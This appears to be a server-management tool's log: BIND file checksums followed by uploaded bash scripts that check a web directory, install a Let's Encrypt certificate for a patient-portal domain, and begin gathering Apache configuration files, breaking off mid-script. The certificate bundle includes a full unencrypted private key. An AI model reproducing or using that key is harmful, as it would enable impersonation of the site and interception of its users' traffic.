MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-17 18:04:31: Establishing a connection
2026-05-17 18:04:31: Establishing a connection
2026-05-17 18:04:31: 

PUT: /tmp/pkp625831

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-17 18:04:31: 

chmod 755 /tmp/pkp625831; /tmp/pkp625831; rm /tmp/pkp625831

2026-05-17 18:04:31: 


0


2026-05-17 18:05:08: Establishing a connection
2026-05-17 18:05:08: 

PUT: /tmp/pkp414138

#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt

cat > $temp_file <<'endmsg'
27:74:e6:89:fe:1d:5f:6b:65:84:bb:4f:ad:5f:45:c7

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBSscUhOU266HJQdaKmE7ETq8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE3MTcwNjM3WhcNMjYwODE1MTcwNjM2WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtafJHUksyC2r2juVdRA3MdD/XbGvK5JdtuDfR3gmBBVo
b3fM+4dGZ5RSvze4tGJygs6fexF1fjDnLPwc5ivNyb/DJIoeRuf3E7YW5r9/yipj
/hWYQBa9Em2I72fE99M7glef31NLYmzVyxDx8l/Bhd8JgMGM07HYFdrTVCRPAkE2
qULSluoCnpwA+/CvPGD3Sg2i1tY+lEeifChNkETxaaTRMgYocusAK4oGlHE8mYp0
pcEIGCimJMgGAbsEp/30dyMLIIu/K2wZ6K2a1qcM/Zdo7TCHNVorD+gDOlFdfgbN
E23jkf4tXlQ3nRvwLkrxLwltYK6Uqg97fHOccMsIKwIDAQABo4ICKTCCAiUwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFFU9/FwV+y/UH1ZGV+RuHekVlQnMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcYXRoZW5haGVhbHRoLnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzYxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB1ANdtfRDRp/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAAB
njcc/z4AAAQDAEYwRAIgPvlOGMetqEaNKgAOuC7cNY7LmAK07G9MFLLHEnWgg8sC
ICshJCoqaUocH5A4Wr3jIIzXF/29M4hu8IqDcMur+vz8AH4ARq+GPTs+5Z+ld96o
JF02sNntIqIj9GF3QSKUUu6VUF8AAAGeNxz/2QAIAAAFAAbf174EAwBHMEUCIDXe
fTSexO0swWfgSfwdIAqTYOpmj72aC+hS+P9crxU7AiEAzu0cRXlQG09HpGr8UBzr
2P9LYAmtVP8b0hnCM0iwZeQwDQYJKoZIhvcNAQELBQADggEBAKGeTgb86bTKCh6P
O5VAbHvVIXYnKJi2xXR0O3clTtfOhvp8nrFDQiGrPheG4aOSvjqCTFcfNjgPRX2y
wUaUuROm8jA4smY5PXQcSu5j794ESVPOFVfQs6qgIM4geg1gwm2S7MJHn0/yuw7h
9uMOuhTVzubLWNrsVk4KtR7hE4MJaDpgzyzhJTK6cNcOzaLVuH9oOPUHp1LluuwY
VEdyQaUIyEeDx2bBUI75DS7unj0Hi79IbiwPRTgONRHQFvOw5imv5Zr7P9GA1XdC
B6ufztzpKzscXfjuyYGOt/1GX2J8RbyCmm0yUOfVZ9kq9MceaYDmRd/xt4eFFMmg
Q5fI9wY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1p8kdSSzILava
O5V1EDcx0P9dsa8rkl224N9HeCYEFWhvd8z7h0ZnlFK/N7i0YnKCzp97EXV+MOcs
/BzmK83Jv8Mkih5G5/cTthbmv3/KKmP+FZhAFr0SbYjvZ8T30zuCV5/fU0tibNXL
EPHyX8GF3wmAwYzTsdgV2tNUJE8CQTapQtKW6gKenAD78K88YPdKDaLW1j6UR6J8
KE2QRPFppNEyBihy6wArigaUcTyZinSlwQgYKKYkyAYBuwSn/fR3Iwsgi78rbBno
rZrWpwz9l2jtMIc1WisP6AM6UV1+Bs0TbeOR/i1eVDedG/AuSvEvCW1grpSqD3t8
c5xwywgrAgMBAAECggEABjPsVaArM8tUxsG/GOgMrRpLsKmBvOqlYY/B1WEVvJD1
58x+8Yh3z89MQ17wjdRIwGJe0WcnYb+OEpv/PqAjSZl53TRhfp6qx1UHPiou1Q/n
1IQXQU+ldXd2XrpmiucpwonMbztFuTQp2WJtkzmlft/pT/4L7tSaoiW+jpfOIi+v
YOKryW6j0Fjv027qj99LQkqePzUv3/0XsbK5RBaD8W/UEcx9twsMhbHpUaiwENxC
ybHp294rgppX0NVf4Ml/39q4oPWQ11g8hm8+/mkCXy/xW2luN0yzuDnsYsAUk32K
9aTJ5WAKYkBqV3LpyjQc0LQ1NfrTc9cI4hpt9NlJNQKBgQDzWmqwYZ/o6ncckgIp
+j5PUWdCsgatcVrrO0Y1GJs4k+3CsGvqxda1Gu5S9iEDYeOeNjj8DtNZ7VZ/Bloy
RLozgJvLXJDIH0KkZxQuKiI+YQVQmsa/utf/eq9WLbjQNm4c6iMJeUxNvA6QsOAG
M0EeM67e/Ot+C4Pw41L1wcEYxwKBgQC/GInZBVPfSWcWvnZFfMyO0DmPqEKBuuKI
X/hjTeBJGBdSCvKNp4A3/W9ynTnQcaHh8AN+XM0VrO0fbtvP1V62uOB2C4g1zd0/
bzUqDusaNIKgmoubWjhOXhqnNtTDZm6FDPhPd6uNWXZzU5TA6wPV0xpGc3fhZ/D8
Rfa3z7WZfQKBgEtz3WCS5GHzULsrCkC5tlghhULIsAlW/DmzRzFvT7FbLH0Q9mT0
sn20u/A9ID9MOqbzaPe+IQng7NC1x4GOja0qUyPar4ldJ+yRiVBHABcXPe6gDr+j
zxUHlRXDV2o3dizA69wkH+R6SonSTaOegLI8lBvPj7SlHWOzGCXazWRBAoGAGqmZ
0iXkJetf7tR0PA3FnMeAwIKBhQhGQzDgvzpGaOxrlI7ieNE+GpHJ0vwM7QBtzdBn
LGJWWwfdrd0R3lWu+V+iMdY6Ewe+LvOdP1kFhIp/D1mA0RQtdwG6RkpoNTs9gGLm
4m+YCAjLdhvbTW99AYCK0fmaaGDQRuKcIdlhRSECgYEAuD9A3N21fmGXsnYrmlvp
rGyAAej9i3YHW+bKPrrH01DXPtOuglzpNURTl+bBiWI0eZXp2bAKFlfffPJ13QG2
vNM0GRkY9pKyy6yjUdU86aK3QtHH5xJuqlcV4QFSIU0vXPjzgAY4iMeB/DqmxtUw
vUV6pjZKfROmQJ0zGA7rw2w=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-17 18:05:09: 

chmod 755 /tmp/pkp414138; /tmp/pkp414138; rm /tmp/pkp414138

2026-05-17 18:05:09: 


dir=/etc/ssl/certs


2026-05-17 18:05:09: 

PUT: /tmp/pkp540095

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

